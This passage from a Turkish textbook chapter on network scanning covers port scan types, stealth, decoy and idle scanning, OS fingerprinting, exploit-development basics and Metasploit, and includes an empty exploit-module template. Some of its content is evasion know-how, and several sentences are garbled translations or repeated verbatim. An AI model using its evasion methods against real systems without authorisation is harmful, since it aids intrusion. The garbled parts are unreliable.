Alınan TCP / IP paketlerinin yapısını analiz ederek, gelişmiş
güvenlik tarayıcıları, uzak makinenin işletim sistemini ve
bağlantı noktaları ile ilişkili uygulamaların sürümlerini ve
uygun olduğunda, gerekli güncellemeleri önermeyi belirler - bu,
işletim sistemi sürüm karakterizasyonu olarak adlandırılır.
Bu bağlamda iki yöntem kullanılmaktadır:
50
• Bilginin aktif olarak edinilmesi, genellikle tavsiyelere uygun
olmayan ve kullanılan uygulamanın sürümünü belirlemek için
yanıtları analiz eden karakteristik başlıklara sahip çok sayıda
paketin gönderilmesini içerir. Tüm programların uygulama
protokolleri farklı olduğundan, bu yöntem ile programları
birbirinden ayırmamız mümkün hale gelmektedir
• Pasif bilgi edinme (bazen pasif tarama veya müdahaleci
olmayan tarama olarak da bilinir) daha az zorlayıcıdır ve bu
nedenle izinsiz giriş tespit sistemi tarafından algılanması daha
az olasıdır. Çalışma prensibi benzerdir ancak bir ağ geçidi
kullanarak bir ağ üzerinde dolaşan IP datagramlarının alanlarını
analiz etmeyi içerir. Pasif sürüm karakterizasyonu, bir dizi
parça üzerinde alan değerlerinde meydana gelen değişiklikleri
analiz eder ve bu da daha uzun bir analiz süresi gerektirir. Bu
tür bir analiz zordur, ancak bazen tespit edilmesi imkansızdır.
Güvenlik tarayıcıları sistem ve ağ yöneticilerine, sorumlu
oldukları bilgisayar popülasyonunun güvenliğini izlemelerine
izin verir. Ancak bu araç aynı zamanda bilgisayardaki kusurları
tespit etmek için bilgisayar hackerları tarafından da kullanılır.
Ulusal Standartlar ve Teknoloji Enstitüsü tarafından tanımlanan
bazı güvenlik açığı tarayıcı türleri
(https://www.nist.gov/publications/technical-guide-information-
security-testing-and-assessment).
Nmap NMAP (1999):
(http://www.insecure.org/nmap/index.html)
Ağ güvenlik açığı tarayıcısı (ör. Nessus, SAINT,
OpenVAS, INFRA Security Scanner, Nexpose)
51
Web uygulaması güvenlik tarayıcısı (ör. Nikto, Acunetix,
Burp Paketi, OWASP ZAP, w3af)
Veritabanı güvenlik tarayıcısı
Ana bilgisayar tabanlı zaafiyet tarayıcı (Lynis)
ERP güvenlik tarayıcısı
Tek zaafiyet testleri
Bir Port (bağlantı noktası) tarayıcısı, açık bağlantı noktaları için
bir sunucuyu veya ana bilgisayarı test etmek için tasarlanmış bir
uygulamadır. Bu genellikle yöneticilerin ağlarının güvenlik
politikalarını doğrulamak ve saldırganlar tarafından bir ana
bilgisayarda çalışan ağ hizmetlerini tanımlamak ve güvenlik
açıklarından yararlanmak için kullanılır.
Bir port taraması, etkin bir bağlantı noktası bulmak amacıyla
istemci istemlerini bir sunucudaki bir dizi sunucu bağlantı
noktası adresine gönderen bir işlemdir; Bu kendi başına ve
kendine has bir süreç değildir [23]. Bir port taramasının
kullanımlarının çoğu saldırı değildir, bunun yerine uzak bir
makinede (RFC 2828 Internet Security Glossary) bulunan
hizmetleri belirleyen basit problardır.
Port süpürme (port sweep ), belirli bir portu dinlemek için
birden fazla bilgisayarı tarama işlemidir. Genellikle belirli bir
servisi aramak için kullanılır, örneğin, SQL tabanlı bir
bilgisayar solucanı portu TCP bağlantı noktası olan 1433
portunu dinleyen bilgisayarları arayabilir
(http://support.microsoft.com/kb/313418).
52
Bir sonraki bölümde TCP bağlantı süreci (üç yönlü el sıkışma-
the three-way handshake) anlatılacaktır. Aşağıdaki bölümde
klasik tarayıcılar (tam TCP bağlantısı) yanı sıra SYN (veya
"yarı açık") tarayıcılar sunulmaktadır.
3.1.2 IP ile ilgili Konular
3.1.2.1 End Points and Flags:
Pair (IP adresi, port numarası) soket olarak adlandırılır ve bir
TCP bağlantısının bitiş noktasını temsil eder. Bir TCP servisi
için, gönderen makinedeki bir soket ve alıcı makinedeki bir
soket arasında bir bağlantı kurulmalıdır. TCP bağlantıları
böylece iki uç noktası ile tanımlanır (socket1, socket2). Bitiş
noktaları birbirinin bölümlerini de göndermektedir.
Bir TCP bölümü, isteğe bağlı olarak TCP başlığından ve onu
takip eden data (veri)’dan oluşur. Bir TCP başlığı altı flag biti
(bayrak biti) içerir. Bir veya daha fazlası aynı anda açılabilir
[23], [24].
SYN, bir bağlantı başlatmak için bir Senkronize sıra
numaralarıdır.
TCP bağlantı yönelimli, güvenilir bir veri aktarım protokolüdür.
Bağlantı yönelimli, TCP kullanan iki uygulamanın, veri
alışverişi yapabilmeleri için birbirleriyle bir TCP bağlantısı
kurması gerektiği anlamına gelir. TCP'de sağlama toplamları,
zamanlayıcılar, veri dizilimi ve onaylar kullanılarak güvenilirlik
sağlanır. Aktarılan her baytı bir sıra numarası atayarak ve
alındıktan sonra diğer ucundan bir alındı bildirimi gerektiren
TCP, güvenilir teslimatı garanti edebilir. Sıra numaraları,
verilerin düzgün bir şekilde sıralanmasını sağlamak ve çift veri
baytlarını ortadan kaldırmak için kullanılır. Bir TCP
53
oturumunda genellikle iki veri akışı vardır (her uç nokta,
bunlardan birinden alıp ve diğeriyle göndermektedir). Böylece,
bağlantı kurulduğunda her bir very akışına bir ISN (başlangıç
sıra numarası) atanmalıdır.
3.1.3 Full TCP Bağlantısı ve SYN Taraması
3.1.3.1 Full TCP Bağlantısı:
Daha öncelerde bu işlem, TCP port taramasının ana şekli
olmuştur. Tarama sunucusu, hedef makinede seçilen bağlantı
noktalarıyla düzenli bağlantıları (yani üç yönlü el sıkışma
kullanarak) kurmaya çalışır. Bağlantılar sistem çağrı bağlantısı
[6] kullanılarak başlatılabilir. Her dinlenen port için bağlantı
başarılı olmalıdır aksi takdirde portun ulaşılamayacağını
belirten bir -1 döndürülür. Bu teknik, çok kullanıcılı sistemler
tarafından da herhangi bir kullanıcı tarafından erişilebildiği için
kolayca uygulanır. Normalde özel ayrıcalıklara gerek yoktur.
[18].
Bu tarama metodu kolayca tespit edilebilir (loglar hızlı bir
bağlantı ve hata dizisi rapor edecektir). Courtney, Gabriel ve
TCP Wrappers [3] gibi programlar genellikle tespit için
kullanılır. Wrapperlar (sarmalayıcılar) gelen istekler üzerinde
de bir miktar kontrol sağladığından, bilinen ana bilgisayarlardan
kaynaklanan tam bağlantı taramasının engellenmesi için
kullanılabilir.
54
Şekil 3-1 3 lü el sıkışma
3.1.3.2 TCP SYN Tarama:
Tarama sunucusu, hedef makinede seçilen bir porta bir SYN
segmenti göndererek aktif olarak kullanılabilir olduğunu
gerçekleştirir. SYN taraması altında tam bağlantılar
kurulmadığından, bu teknik genellikle yarı açık tarama olarak
bilinir. SYN taramasının avantajı, belirli kaydediciler (örneğin,
tcplogger) tarafından tespit edilebildiğinde bile; SYN bağlantı
girişimleri, tam bağlantılardan daha az log üretmektedir. Çoğu
işletim sistemi altında gönderenin, bu tür bir tarama için tüm IP
paketini özel olarak oluşturması gerekir ve genellikle özel
sisteme yönelik süper kullanıcı veya ayrıcalıklı grup erişimi bu
özel SYN paketlerini oluşturabilir [15].
Her iki seçenek de (SYN ve Full Connection Tarama) çok güçlü
ve kapsamlı bir TCP port tarayıcı olan Nmap [16] 'da
uygulanmaktadır.
3.1.4 Gizli ve Dolaylı Tarama
Gizli (Stealth) tarama [15] 'de tanımlanmıştır. Bu teknik,
standart TCP üç yollu el sıkışmasının herhangi bir
parçasından oluşmaz; oturum açmak çok zordur ve bu
yüzden SYN taramasından daha gizlidir.
55
Stealth taraması genellikle, yalnızca paketleri düşürmeleri
gerektiğinde sıfırlama yapan birkaç sistem (Cisco, BSDI, HP
/ UX, MVS ve IRIX dahil) haricinde UNIX hedefleriyle
çalışır. Bu yöntem, Windows95 / NT'yi çalıştıran sistemlerde
başarısız olur ve port açık da olsa kapalı da olsa daima bir
RST geri döndürürler.
SYN tarayıcılarında olduğu gibi, IP paketleri kullanıcı
tanımlı olmalıdır.
Şekil 3-2 Gizli ve Dolaylı Tarama
3.1.4.1 Indirect Scanning:
bu teknik bir anonim bir tarama tekniğidir. Buradaki amaç,
gerçek tarama sistemini gizlemek için üçüncü bir sunucunun
(sahte) IP adresini kullanmaktır. Tarayıcı bilgisayar, spoof
yapılacak bilgisayara, sahte veya gerçek olmayan segmentleri
göndererek hedef bilgisayarın orjinal tarama sonuçlarını bilmek
ve IP etkinliğini izlemek amacıyla kullanılmaktadır. Dolaylı
taramanın bu şekli, " dumb host scan -aptal host taraması"
olarak da adlandırılır.
Katılan üç ana bilgisayar Tarayıcı, Sessiz Sunucu ve Hedeftir.
Tarayıcı ve Hedefin rolleri açıktır. Sessiz Sunucu ise, Tarayıcı
hedefi tararken (tarama ile ilgili olanlar hariç) herhangi bir
paket göndermemesi gereken çok özel bir sunucudur. Sessiz
56
sunucular, internette " night " adresinde bulabileceğiniz
ulaşılabilir "sıfır trafik" bilgisayarlardan biri olabilir. Son
olarak, genel kurallara uygun olarak tüm ilgili TCP
uygulamaları belirlenmelidir
Tarayıcı, yanıtların IP üstbilgisinde (IP-id) bulunan tanımlama
değerlerini izlemek için Sessiz (örn., ICMP yankı istekleri-
ICMP echo requests) probları göndererek işlemi başlatır. Sessiz
paketler başka bir bilgisayarla değiştirilmediğinden, tarayıcıya
verilen her bir yanıt IP-id artışı gösterecektir. Tarayıcı, bazı
SYN segmentlerini, Silent Sunucunun sahte IP adresine ait
paketlerini kullanarak Hedefteki X bağlantı noktasına gönderir.
Bu teknik, IP datagramlarının doğru bir şekilde teslim
edilmesini gerektirir, aksi halde IP'nin güvenilmez yapısı
nedeniyle uygulamalar çok düzgün çalışmayacaktır.
3.1.5 Parçalanmış, Decoy ve Coordinated Tarama
3.1.5.1 Parçalanmış Paket Tarama:
SYN'nin anonimliği, küçük parçalara ayrılmış IP paketleri
kullanılarak geliştirilebilir. Bu şekilde, TCP başlıklarının
kendileri, birkaç paket halinde bölünerek, taramayı saptamak
veya önlemek için paket filtrelerini ve saldırı tespit sistemlerini
zorlarmaktadır.
3.1.5.2 Decoy Tarama:
SYN ve diğer tarama şekilleri deşifre probların kullanımıyla
daha da anonim hale getirilebilir. Bu teknikte bazı problar aynı
hedefe gönderilir. Tüm sahte paketlerden sadece bir tanesi
(gerçek prob) gerçektir, böylece port taramaları tespit edilmiş
olsa bile, gerçek tarama sunucusunun hangisinin olduğunu
bilmenin bir yolu yoktur.
57
Decoy taramanın bazı sıkıntıları şulardır:
• Decoy olarak kullanılan ana bilgisayarlar çalışır ve ulaşılabilir
olmalıdır, aksi takdirde hedef SYN flood atağına uğrayabilir .
• Bazı "tarama dedektörleri", port taramalarında portları
deneyen saldırgan bilgisayarların erişimi reddederek tepki
verdiğinden, hedef makineye karşı istemsiz DoS saldırıları
ortaya çıkabilir Bu sebeğlede decoys ile bağlantıyı yitirmesine
neden olabilir.
3.1.5.3 Coordinated Tarama:
Genellikle bu IP adresleri fiziksel olarak farklı ülkelerde, hatta
farklı kıtalarda ayrılır. Bu aktivite türü için üç belirgin amaç
vardır:
• Stealth: Birden fazla IP adresinden çalışarak saldırganlar IP
başına daha küçük bir imza elde ederler. Geleneksel araçlarla
tespit etmek daha zordur. Buna ek olarak, yeni tespit edilmesi
zor olan yoklama (prob) tekniklerinin geliştirilmesiyle gizlilik
artmaktadır.
• Firepower: Saldırganlar, birden fazla saldırgan IP adresi
koordine ederek daha küçük bir zaman penceresini
hedeflemek için daha fazla fayda sağlayabilecektir. Farklı
sitelerden gelen koordineli taramalar ve probların
kullanılması, daha fazla analiz ve takip etmeyi hak eden yeni
ve devam eden bir kabiliyeti temsil etmektedir. Bugün
gördüğümüz bu eşgüdümlü yoklama ve taramalardan bazıları
gelecekteki daha büyük ölçekli mesailer için pratik çalışmalar
olabilir.
58
• Daha fazla veri: Farklı IP adreslerinden, genellikle tamamen
farklı alt ağlardan çalışarak, aynı hedefe karşı, tek bir kaynak
IP taramasından veya probundan zor olan verileri elde etmek
mümkündür. Bu veriler, en kısa yol verisini (yani, A
kaynağından gelen paketler B kaynağından daha hızlı bir
şekilde gelir) veya potansiyel arka planların (yani, A
kaynağından gelen paketler, B kaynağının göremediği ana
bilgisayarlara erişim sağlayabilir) içerebilir. Bu tip veriler
gelecekteki taramaları, saldırı yoklamaları veya saldırıları
optimize etmek için kullanılabilir.
Analiz: Birden fazla farklı saldırı ve saldırı yoklaması [22]
belgelenmiştir. Ortak yönlendirme, saldırganın koordineli
olmayan bir şekilde birden çok adreslerden saldırı
başlatmasıdır.
3.1.5.4 UDP Taraması:
UDP taramaları, hangi UDP bağlantı noktalarının bir ana
bilgisayarda açık olduğunu belirlemek için kullanılır. UDP
taraması belirli görevler için çok yararlı olabilir:
• rpcbind güvenlik açığı vakası: Solaris 2.x işletim
sistemlerinde, rpcbind sadece TCP bağlantı noktası 111 ve
UDP bağlantı noktası 111'i değil, aynı zamanda 32770'den
büyük bir bağlantı noktasını da dinlenmektedir. Elbette, çok
sayıda paket filtresi kullanmazlar. TCP veya UDP bağlantı
noktası 111'e istek göndermek yerine, saldırgan, onları
rpcbind'in dinlediği 32770'den büyük UDP bağlantı
noktasına gönderir. Bu ihlali kontrol etmek için UDP
tarayıcılara ihtiyaç vardır.
• Back Orifice arka kapı programı, Windows makinelerinde
59
yapılandırılabilir bir UDP portunda gizlenir. UDP tarayıcıları
tespit için kullanışlıdır.
• Bazı önemli hizmetler UDP'yi (ör. DNS, NFS, SNMP,
TFTP, vb.) kullanır. UDP taraması, sahte sunucuları veya
yetkisiz hizmetleri algılamak için kullanılabilir.
UDP tarayıcıları, kapalı bir UDP portu için bir paket geldiğinde
UDP'nin ICMP portu erişilemeyen hata mesajı ile yanıt verir
[5]. Tipik bir UDP tarayıcısı, hedef makinedeki seçilen bağlantı
noktalarına 0 bayt UDP paketi gönderir ve olası yanıtları bekler.
ICMP bağlantı noktası kapalı ise yanıtlanamaz. Yanıt geldiyse,
genellikle ilişkili bağlantı noktalarının açık olduğunu
göstermektedir.
Şekil 3-3 Udp Tarama
3.1.6 Kimlik ve Proxy Tarama
3.1.6.1 Kimlik Tarama:
Sunulan tarayıcılar, bir bilgisayarın hangi portlarının
dinlediğini belirlemek için tasarlanmıştır. Bununla birlikte, pek
çok mevcut port tarayıcı [12], bu portlarda dinlenen süreçlerin
(daemonların) karakteristiklerini ve davranışlarını keşfetmeyi
amaçlayan ek fonksiyonlar gerçekleştirebilmektedir [20].
60
Kimlik taraması bu ekstra seçeneklere bir örnektir. Kimlik
Tanımlama Protokolü'nü kullanarak, bu tür bir tarama, belirli
bir port üzerinde çalışan artaja sahip olan kullanıcı adını
(Kullanıcı Kimliği) alma ek fonksiyonlarına sahiptir. Tarayıcı
bunu bir TCP bağlantı noktasına bağlanmaya çalışarak yapar ve
başarılı olursa (tam bağlantı), hedef ana bilgisayarın 113
numaralı TCP bağlantı noktasındaki girintiye (Kimlik Protokolü
arka plancısı [20]) yönelik bir kimlik isteği gönderir. Kimlik
taraması seçeneği ters kimlik taraması olarak da bilinir -
Orijinal RFC, sunucuların istemcilerin kimliğini doğrulamak
için bir protokol önermesi gibi görünüyorsa, bu ters kullanımlar
için gerçek uygulamadır.
3.1.6.2 Proxy Tarama:
Ftp protokolü, proxy ftp bağlantısı olarak bilinen ilginç bir
seçeneği destekler. Bu özelliğin orijinal amacı (RFC 959 [19]),
bir istemcinin aynı anda farklı sunucularla iki ftp bağlantısı
kurmasına ve daha sonra doğrudan sunucular arasında bir veri
aktarımına başlamasını sağlamaktır. Ancak, çoğu uygulama, bir
ftp sunucusunun neredeyse her yerde internete dosya
göndermesine izin vermek için kolayca kötüye kullanılabilir.
Bu zayıflık, iyi bilinen ftp bounce attack -ftp sıçrama saldırısı-
dahil olmak üzere bir çok saldırılara izin verir. Bazı yeni
bağlantı noktası tarayıcıları [25], ftp proxy taramasını
adlandırmak için aynı güvenlik açığından yararlanmaktadır. Ftp
proxy tarayıcıları temel olarak TCP portlarını taramak için
"proxy" ftp sunucularını kullanırlar.
61
Şekil 3-4 Proxy tarama
Ftp proxy tarama sadece izlemesi zor bir saldırı türü değil aynı
zamanda, katılımcı ftp sunucusu bir güvenlik duvarı arkasında
olduğunda gerçek bir güvenlik tehdidi oluşturabilir
3.1.7 Extra Tarama Teknikleri
3.1.7.1 Ping Tarama:
Bir makinede veya bir alt ağın tamamında çok sayıda bağlantı
noktası taranacaksa, önce hedef makinelerin çalışır durumda
olup olmadıklarını tespit etmek gerekmektedir. Bu işlem de
tarayıcıların amacıdır. Ping taramasını uygulamak için iki ana
teknik kullanılır:
Ping kullanarak, karşı bilgisayar IP adreslerine ICMP echo
isteği göndererek ve yanıt veren her hostu işaretleyerek.
62
"TCP ping '" kullanarak, yani genellikle açık ve
filtrelenmemiş portları oyalamak için özel TCP segmentleri
göndermek amacıyla kullanılır (örneğin port 80). Tarayıcının
root olmayan kullanıcıları için, standart connect 0 kullanılır.
Aksi takdirde, ACK segmentleri kullanılır. Her bir hedef
bilgisayar adresinin yoklanması için gönderilir. Alınan her
RST, ilgili ana bilgisayarın çalışır olduğunu gösterir. Ayrıca,
bağlantı noktası 80'i (veya analogunu) tarayan SYN'ye eşdeğer
bir yöntem de kullanılır.
3.1.7.2 Güvenlik Tarayıcıları:
Güvenlik tarayıcıları, uzak veya yerel ana bilgisayarlarda
güvenlik zayıflıklarını otomatik olarak algılayan
programlardır. TCP (UDP) bağlantı noktalarını sorgular ve
yanıtları kaydeder. Ancak, çalışan hizmetlerin ve
sahiplerinin tespit edilmesinin ötesinde şunları da
belirlemeye çalışırlar:
• Anonim - anonymous - girişlerin desteklenip
desteklenmediği.
• Bazı şebeke servislerinin kimlik doğrulama gerektirip
gerektirmediği.
• Bilinen güvenlik açıklarının varlığı.
SATAN bilinen bir güvenlik tarayıcısıdır. SATAN, sadece
önemli miktarda bilinen açıkları taramak için değil, aynı
zamanda ilgili zafiyetler de dahil olmak üzere keşfedilmiş
bir güvenlik açığı hakkında bilgi sağlama kapasitesine sahip
olması açısından da en iyi tarayıcı olarak kabul edilmektedir.
63
Güvenlik tarayıcıları, SATAN'dan bu yana sürekli olarak
gelişmektedir ve günümüzde uygulamalar çok karmaşık bir hal
almıştır.
3.1.7.3 Stack Fingerprinting - Yığın Parmak İzi:
Güvenlik açıklarının çoğu, İşletim Sistemlerine bağımlıdır.
Uzaktan işletim sistemi tespiti, sys tem ve / veya güvenlik
yöneticilerinin ana endişelerinden biridir.
Uzaktan işletim sistemi algılama yeni değildir; TCP / IP
hizmetlerinin birkaç uygulaması, ipuçları ve ev sahibi işletim
sistemi hakkında bilgi sunmaktadır. FTP, TELNET, HTTP ve
DNS sunucuları bu davranışın iyi bilinen örnekleridir. Ancak,
bilgilerin genellikle eksik olması ya da kasten yanlış
yönlendirilmesi nedeniyle bazı temel uzak işletim sistemi
dedektörlerinin ortaya çıkması teşvik edilmiştir. Bu ilk
tarayıcılar, bazı seçilmiş işletim sistemleri TCP / IP
uygulamalarında var olan iyi bilinen farklılıkları araştırmak için
çalışmışlardır. Az sayıda prob kullanıldığından ve analiz edilen
parmak izlerinin sınırlı olmasından dolayı, bunlar bir düzineden
fazla OS'yi tanımlayabildiler:
Bununla birlikte, iki yeni tarayıcı, QueSO [17] ve özel olarak
Nmap [16], parmak izi taramasında yeni bir boyut getirmiştir.
QueSO, parmak izleri için ayrı bir veri tabanı oluşturan ilk
uygulamaydı (daha önce parmak izleri koda dahil edildi). Nmap
ek olarak önemli miktarda OS tespit tekniklerini içeriyordu ve
parmak izlerini tanımlamak için bir şablon yapısını tanımladı.
64
Herhangi bir yeni parmak izi, şablonlar biçiminde kolayca
eklendiğinden, Nmap parmak izleri veritabanı sürekli olarak
artmakta ve tanımlanabilecek İşletim Sistemi sayısı çok büyük
olmaktadır.
İşletim sistemlerini uzaktan algılamak için tarayıcılar tarafından
kullanılan teknik, TCP / IP yığını parmak izi olarak bilinir. [7]
Commer ve Lin, aktif sondalama adı verilen bir teknik
geliştirilmiştir. Bu, bir kara kutu olarak bir TCP uygulaması
olarak davranır ve kara kutuyu araştırmak için bir dizi prosedür
kullanır. TCP’yi inceleyerek problara cevap vererek,
uygulamanın birkaç karatkteristiğini çıkarılabilir. TCP / IP
yığını parmak izi, bir işletim sisteminin tüm TCP / IP
uygulaması (yığın) için geçerli olan bir aktif tarama çeşididir.
Yığın parmak izi, taranan bir makinenin işletim sisteminin TCP
/ IP yığınındaki ince farkların varlığını algılamak için çeşitli
teknikler kullanır
3.1.8 Exploit Geliştirme Kavramı
Bir istismar, bilgisayar korsanlarının bilgisayarlara yetkisiz
erişim, hack saldırısı eylemi veya sistemin güvenliğini sağlayan
ve saldırıya bir sistem açan bir delik açmak için kullanılan
65
herhangi bir yöntem için genel bir terimdir (www.exploit-
db.com). .
Terim çok esnektir ve hem fiil hem de isim olarak kullanılabilir.
Bir isim olarak, istismar, sistemdeki saldırganın saldırıyı
yapmak için kullandığı açıklıktır. Sıklıkla bu, gönderilmemiş
bir sunucudan işletim sistemi güvenlik açığıdır. Bir fiil olarak,
harekete atıfta bulunur. Örneğin, "hacker, blogunda yaptığı
açıklamanın ayrıntılarını, XYZ'nin sunucularına girmenin ne
kadar kolay olduğunu göstermek için yayınladığı durumdur."
http://searchsecurity.techtarget.com/definition/exploit.
Güvenlik açığı bulduktan sonra bir saldırganın hacker'ın oyun
kitabındaki sonraki adımıdır. Exploits, ister belgelenmiş olsun
olmasın, istenmeyen bir API'yi kullanır. İstisnalar, finansal
bilgilerin elde edilmesinden kullanıcının bulunduğu yeri takip
etmeye kadar birçok farklı nedenden ötürü kullanılır.
İstismarlar, tespit edilmeleri zor olan güvenlik duvarlarının
ardında gerçekleşebilir ve tespit edilmediğinde geri dönülemez
bir hasara neden olduğu bilinir.
Örneğin, belirli bir kötü amaçlı bilgisayar korsanı, bir
bilgisayarın etkinleştirilmeden önce en zayıf noktasında (ör.,
Güvenli olmayan bir ağdan bir VPN bağlantısı) bekleyebilir.
Güvenlik açıkları gibi, istismar veritabanı, kapalı kapılar
ardında nelerin gerçekleştiği hakkında kullanıcıya bir sanal
alarm göndermeden önce bir referans noktası olarak kullanılır.
İstismarlar, ön aşamalarında ele alınması en kolay olanıdır,
ancak eylemin ilk aşamada gerçekleşmesine izin veren eylem ve
altta yatan güvenlik açığının tamamen çözülmesi haftalar
sürebilir.
66
Exploits çok farklı türde olabilir. Platformlar, mimari ve
sunulan amaç gibi çeşitli parametrelere göre
sınıflandırılabilirler. Güvenlik açığı durumunda aşağıdaki
[Foster] olasılıkları vardır:
Bir istisna kodu zaten mevcuttur.
Kötü amaçlı yükü yürütmek için bazı değişikliklerin
yapılması gereken kısmi istismar kodu mevcuttur.
Bir istismar kodu yoktur ve sıfırdan yeni bir istismar kodu
geliştirmeye ihtiyaç vardır.
İlk iki durumda, istismar kodu vardır ve bu açığın giderilmesi
için bazı küçük ayarlamalar gereklidir. Bununla birlikte,
savunmasızlığın henüz keşfedildiği ve istismar kodunun
bulunmadığı üçüncü durum, asıl zor olandır. Böyle bir
durumda, aşağıdaki görevlerden bazılarını gerçekleştirmeniz
gerekebilir:
Güvenlik açığı desteklendiği platform ve mimari gibi
temel bilgileri toplayın.
Güvenlik açığından nasıl yararlanılabileceğine ve olası
saldırı vektörlerinin neler olabileceğine dair tüm olası ayrıntıları
öğrenin.
Savunmasız kod ve parametreleri özel olarak işaretlemek
için fuzzing gibi teknikler kullanın
Açıklamanın çalışıp çalışmadığını test etmek için bir
sözde kod veya prototip yazınız.
3.1.9 Metasploit
Metasploit 2003 yılında H. D. Moore tarafından Perl
kullanılarak taşınabilir bir ağ aracı olarak kurulmuştur. 2007
yılına gelindiğinde, Metasploit Framework tamamen Ruby'de
67
yeniden yazılmıştır. (https://github.com/rapid7/metasploit-
framework/wiki/Why-Ruby%3F). 21 Ekim 2009 tarihinde,
Metasploit Projesi, bir güvenlik şirketi olan Rapid7 tarafından
satın alındığını duyuruldu.
(https://www.yeahhub.com/metasploit-framework-post-
exploitation-aracı-hackers-favorite-aracı/). Metasploit birleşik
güvenlik açığı yönetimi çözümleri sunmaktadır.
Immunity Canvas veya Core Security Technologies Core
Impact gibi benzer ticari ürünler gibi, Metasploit bilgisayar
sistemlerinin zayıflığını test etmek veya uzak sistemlere girmek
için kullanılabilir. Birçok bilgi güvenliği aracı gibi, Metasploit
hem meşru hem de yetkisiz aktiviteler için kullanılabilir.
Metasploit Framework'ün satın alınmasından bu yana, Rapid7
Metasploit Express ve Metasploit Pro (www.exploit-db.com)
adında iki açık çekirdek tescilli versiyon eklendi.
Metasploit'in de facto exploit geliştirme çerçevesi olarak ortaya
çıkması, genellikle belirli bir hatanın sömürülebilirliğini, riskini
ve iyileştirilmesini vurgulayan bir üçüncü taraf Metasploit
exploit modülünün eşlik ettiği yazılım savunmasızlık
tavsiyelerinin piyasaya sürülmesine yol açmıştır. Metasploit
3.0, bilinen hatalar için bir istisna olmaktan ziyade, yazılım
açıklarını keşfetmek için kullanılan fuzzing araçlarını
kullanmaya başladı. Kasım 2006'da Lorcon wireless (802.11)
araç setinin Metasploit 3.0'a entegrasyonuyla, Metasploit 4.0
ise, Ağustos 2011'de piyasaya sürülmüştür.
3.1.9.1 Metasploit Framework
Framework’u kullanan bir sistemi kullanmak için temel adımlar
şunları içerir:
68
1. Bir istismarın seçilmesi ve yapılandırılması (hatalardan
birinden faydalanarak bir hedef sisteme giren kod; Windows,
Unix / Linux ve Mac OS X sistemleri için yaklaşık 900 farklı
istismar dahil edilmiştir);
2. İstenilen hedef sistemin seçilen istismara uygun olup
olmadığını kontrol etmek;
3. Bir faydalı payload’ın seçilmesi ve konfigüre edilmesi
(örneğin, bir uzak kabuk veya bir VNC sunucusu gibi başarılı
bir girişle hedef sistem üzerinde çalıştırılacak kod);
4. Kodlama tekniğini seçmek, böylece izinsiz giriş önleme
sistemi (IPS) kodlanmış payloadı yok sayar;
5. İstismarın yürütülmesi.
Bu modüler yaklaşım - herhangi bir istismarın herhangi bir yük
ile birleşmesine izin vermek - Frameworkün en büyük
avantajıdır. Saldırganların, sömürücü yazan programcıların ve
payload programcılarının görevlerini kolaylaştırır.
Metasploit, Unix (Linux ve Mac OS X dahil) ve Windows
üzerinde çalışır. Metasploit Framework, eklentileri birden çok
dilde kullanmak için genişletilebilir.
Bir istismar ve faydalı payload seçmek için, işletim sistemi
sürümü ve yüklü ağ hizmetleri gibi hedef sistemle ilgili bazı
bilgilere ihtiyaç vardır. Bu bilgi, Nmap gibi port tarama ve OS
parmak izi araçları ile toplanabilir. Nexpose, Nessus ve
OpenVAS gibi güvenlik açığı tarayıcıları, hedef sistem güvenlik
açıklarını algılayabilir. Metasploit, güvenlik açığı tarayıcı
verilerini içe aktarabilir ve doğru şekilde kullanım için tespit
69
edilen güvenlik açıklarını mevcut istismar modülleriyle
karşılaştırabilir (www.exploit-db.com).
Framework’u kullanan bir sistemi kullanmak için temel adımlar
şunları içerir:
6. Bir istismarın seçilmesi ve yapılandırılması (hatalardan
birinden faydalanarak bir hedef sisteme giren kod; Windows,
Unix / Linux ve Mac OS X sistemleri için yaklaşık 900 farklı
istismar dahil edilmiştir);
7. İstenilen hedef sistemin seçilen istismara uygun olup
olmadığını kontrol etmek;
8. Bir faydalı payload’ın seçilmesi ve konfigüre edilmesi
(örneğin, bir uzak kabuk veya bir VNC sunucusu gibi başarılı
bir girişle hedef sistem üzerinde çalıştırılacak kod);
9. Kodlama tekniğini seçmek, böylece izinsiz giriş önleme
sistemi (IPS) kodlanmış payloadı yok sayar;
10. İstismarın yürütülmesi.
Bu modüler yaklaşım - herhangi bir istismarın herhangi bir yük
ile birleşmesine izin vermek - Frameworkün en büyük
avantajıdır. Saldırganların, sömürücü yazan programcıların ve
payload programcılarının görevlerini kolaylaştırır.
70
Şekil 3-5 Metasploit framework
Metasploit, Unix (Linux ve Mac OS X dahil) ve Windows
üzerinde çalışır. Metasploit Framework, eklentileri birden çok
dilde kullanmak için genişletilebilir.
Bir istismar ve faydalı payload seçmek için, işletim sistemi
sürümü ve yüklü ağ hizmetleri gibi hedef sistemle ilgili bazı
bilgilere ihtiyaç vardır. Bu bilgi, Nmap gibi port tarama ve OS
parmak izi araçları ile toplanabilir. Nexpose, Nessus ve
OpenVAS gibi güvenlik açığı tarayıcıları, hedef sistem güvenlik
açıklarını algılayabilir. Metasploit, güvenlik açığı tarayıcı
verilerini içe aktarabilir ve doğru şekilde kullanım için tespit
edilen güvenlik açıklarını mevcut istismar modülleriyle
karşılaştırabilir (www.exploit-db.com).
3.1.9.2 Exploit şablonları ve karışımları
Yeni ZeroDay zaafiyeti için bir istismar kodu ele alıyoruz.
Yararlanma kodunu resmi olarak Metasploit Framework'e dahil
etmek için belirli bir formatta olması gerekir. Gerçek istismar
koduna odaklanmak ve sonra gerekli formatta eklemek için
71
(Metasploit Framework tarafından sağlanan) bir şablonu
kullanmak yeterlidir. Metasploit Framework, aşağıdaki kodda
gösterildiği gibi bir istismar modülü iskeleti sunar:
Bu modül Metasploit gerektirir: http://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-
framework##require'msf/core'classMetasploitModule <
Msf::Exploit::Remote
Rank=NormalRankingdefinitialize(info={})
Super (update info (info,
'Name' -> "[Vendor] [Software] [Root Cause] [Vulnerability
type]",
'Description' => %q{Say something that the user might need to
know},
'License' => MSF_LICENSE,
'Author' => [ 'Name'],
'References' =>
[
[ 'URL', '']
],
'Platform' => 'win',
'Targets' =>
[
3.1.9.3 Metasploit Arayüzü
Metasploit için çeşitli arayüzler mevcuttur. En popular olanları
Rapid7 ve Stratejik Cyber LLC tarafından yapılmaktadır
(https://www.cybrary.it/0p3n/part-1metasploit-beginners/).
3.1.9.4 Metasploit Framework Edition
Ücretsiz bir sürümdür. Bir komut satırı arayüzü, üçüncü parti
yazılımları, zaafiyet ve manuel brute force atağı içerir.
Metasploit projesinin bu ücretsiz sürümü, aynı zamanda
72
Metasploit'in bu versiyonunun yazıldığı dil olan Ruby için
